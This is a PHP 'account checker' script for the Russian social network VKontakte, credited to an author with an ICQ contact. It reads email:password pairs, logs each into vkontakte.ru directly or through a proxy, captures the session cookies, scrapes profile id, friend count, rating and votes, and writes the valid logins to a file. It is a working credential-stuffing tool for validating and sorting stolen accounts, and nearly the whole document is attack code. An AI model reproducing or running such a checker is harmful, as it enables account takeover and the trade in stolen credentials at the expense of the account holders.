//piter-style.3dn.ru Vkontakte Akk Checker by Chaak (icq: #868922)
Accounts:
Settings:
Save ids
Save low-rating accounts
Use proxy




e-mailpasswordidfriendsratevotes HTML; flush(); $accounts = array_unique(explode("\n",$_POST['accounts'])); function authAkk($email,$pass,$proxy = null) { $out = "GET /login.php?email=".$email."&pass=".$pass." HTTP/1.1\r\n"; $out .= "Host: vkontakte.ru\r\n"; $out .= "User-Agent: Antidurov 2.0\r\n"; $out .= "Cookie: income=1\r\n"; $out .= "Content-Type:text/xml; charset=windows-1251\r\n\r\n"; if(!$proxy) { $fp = fsockopen("vkontakte.ru",80,$errno,$errstr,10); fwrite($fp,$out); $ans = fread($fp,1024); fclose($fp); } else { $proxy = explode(":",$proxy); $ip = $proxy['0']; $port = $proxy['1']; $url = "//vkontakte.ru/login.php?email=$email&pass=$pass"; $fp = fsockopen($ip,$port) or die("Dead proxy"); fwrite($fp,"GET $url HTTP/1.0\r\nHost: vkontakte.ru\r\n\r\n"); $ans = ''; while(!feof($fp)) { $ans .= fread($fp,1024); } fclose($fp); } if(strstr($ans,"302 Moved") || strstr($ans,"302 Found")) { preg_match_all("#(Set-Cookie: )(.*?;)#",$ans,$cookie); return preg_replace('#remixlang=[0-9]+#','remixlang=0',implode("",$cookie['2'])); } else return false; } function getData($cookie,$proxy = NULL) { $id = ''; $friends = ''; $rait = ''; $votes = ''; $data = array(); $out = "GET /profile.php HTTP/1.1\r\n"; $out .= "Host: vkontakte.ru\r\n"; $out .= "User-Agent: Antidurov 2.0\r\n"; $out .= "Cookie: ".$cookie."\r\n"; $out .= "Connection: close\r\n"; $out .= "Content-Type:text/xml; charset=windows-1251\r\n\r\n"; if(!$proxy) { $fp = fsockopen("vkontakte.ru",80,$errno,$errstr,10); fwrite($fp,$out); $ans = ""; while(!feof($fp)) { $ans .= fgets($fp); } fclose($fp); } else { $proxy = explode(":",$proxy); $ip = $proxy['0']; $port = $proxy['1']; $url = "//vkontakte.ru/profile.php"; $fp = fsockopen($ip,$port) or die("Dead proxy"); fwrite($fp,"GET $url HTTP/1.0\r\nHost: vkontakte.ru\r\nCookie: $cookie\r\nConnection: close\r\n\r\n"); $ans = ''; while(!feof($fp)) { $ans .= fread($fp,1024); } fclose($fp); } preg_match('#Ссылка на мою страницу: <a href="//vkontakte.ru/id([0-9]+)">Я в контакте</a>#',$ans,$id); preg_match('#

Друзья \(([0-9]+)\)

#',$ans,$friends); if(!preg_match('#
(.*?)
#',$ans,$rait)) { preg_match('#
([0-9]+)%
#',$ans,$rait); } if(!preg_match("#У Вас ([0-9]+) неиспользованн#",$ans,$votes)) { $votes['1'] = '0'; } $data['0'] = $id['1']; $data['1'] = $friends['1']; $data['2'] = $rait['1']; $data['3'] = $votes['1']; return $data; } foreach($accounts as $account) { $account = explode(":",trim($account)); $email = $account['0']; $pass = $account['1']; if($_POST['up'] == 'on') $proxy = $_POST['proxy']; else $proxy = ''; if($cookie = authAkk($email,$pass,$proxy)) { $data = getData($cookie,$proxy); $fc += $data['1']; if($_POST['id'] == 'on') { if($_POST['low'] != 'on'){ if($data['2'] < 30 && $data['2'] != ''){}else{ fwrite($file,$email.':'.$pass.':'.$data['0']."\n"); } }else{ fwrite($file,$email.':'.$pass.':'.$data['0']."\n"); } } else { if($_POST['low'] != 'on'){ if($data['2'] < 30 && $data['2'] != ''){}else{ fwrite($file,$email.':'.$pass."\n"); } }else{ fwrite($file,$email.':'.$pass."\n"); } } if($data['1'] > 200) $data['1'] = "".$data['1'].""; else $data['1'] = "".$data['1'].""; if($data['2'] > 100) $data['2'] = "".$data['2'].""; else $data['2'] = "".$data['2'].""; if($data['3'] > 0) $data['3'] = "".$data['3'].""; else $data['3'] = "".$data['3'].""; echo "$email$pass".$data['0']."".$data['1']."".$data['2']."".$data['3'].""; flush(); } flush(); } echo 'Общее количество друзей: '.$fc.''; echo ""; flush(); fclose($file); } ?>